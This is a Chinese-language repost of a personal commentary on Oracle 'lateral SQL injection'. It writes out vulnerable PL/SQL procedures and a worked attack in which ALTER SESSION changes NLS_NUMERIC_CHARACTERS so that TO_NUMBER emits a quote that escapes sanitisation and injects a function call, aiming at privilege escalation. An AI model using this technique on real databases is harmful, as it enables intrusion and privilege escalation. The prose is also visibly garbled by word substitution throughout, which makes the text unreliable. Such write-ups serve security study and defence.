当前位置:七道奇文章资讯安全技术网络技术
日期:2010-03-09 02:23:00  来源:本站整理

个人见解 ORACLE LATERAL-SQL-INJECTION[网络技术]

赞助商链接



  本文“个人见解 ORACLE LATERAL-SQL-INJECTION[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

原PAPER地址:

http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf

          author : kj021320

          team :  I.S.T.O

            近来忙啊忙啊的,本日终于有点点时间抽出来看看技术文章了,近来国外又出了关于新型ORA注入技术的PAPER,赶忙测试,主如果呈目前SQL语句字符拼接的时刻,DATE范例转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格局字符呈现问题.

假如直接履行SQL语句大概参数绑定则不用耽忧太多,

如以下ORACLE存储历程

create or replace procedure kjdatepoc(date d)

as

begin

       insert into kjdatetable values(d);

           commit;

end;

根本不需求耽忧遭遭到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?普通都是采取了动态SQL而又不采取参数绑定的语句.

比方工程师常常用的DBMS_SQL大概EXECUTE IMMEDIATE

看以下存储历程

create or replace procedure kjdatepoc(date d)

as

begin

       execute immediate 'insert into kjdatetable values('|| d ||')';

       commit;

end;

那么碰到以上的存储历程大概函数等,也通过改正SESSION中的NLS_DATE_FORMAT中的值到达SQL注射的目的,

老外的PAPER讲授得非常具体了 ,我在这里也不废话.

唯独关于 NUMBER范例的注射没有多作讲授 只是简单演示了可以输出单引号!

看以下语句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS='''.';

SELECT to_number(1000.10001,'999999D99999')||'' FROM DUAL;

输出一下后果

1000'10001

只是多了一个单引号,那有什么用呢?乐观的来说!在特定情形下是很有代价的!看以下一个存储历程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,'''','''''');

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name='''||SecStr||'''');

end;

内部对varchar范例举行替换了!我们可以举行测试

begin

       numinjpoc(1000,'''--');

end;

其输出SQL语句为

SELECT * FROM DUAL WHERE ID=1000 and name='''--'

单引号被转义掉了

那么假如我们结合这个NUMBER范例怎么举行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS='''.';

begin

       numinjpoc(TO_NUMBER(0.10001,'999999D99999'),'||kj.exp()--');

end;

看看输出后果

SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()--'

这样便可以间接的攻击它…

在某中程度才来需求ALTER SESSION 配合后,再去攻击系统内部的一些函数大概历程来晋升权限.何尝不是一种好的冲破思绪,但是关于单语句举行SQL注射攻击,今后果为向导的话!这样的方法没多大作为.


  以上是“个人见解 ORACLE LATERAL-SQL-INJECTION[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 个人见解 ORACLE LATERAL-SQL-INJECTION
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .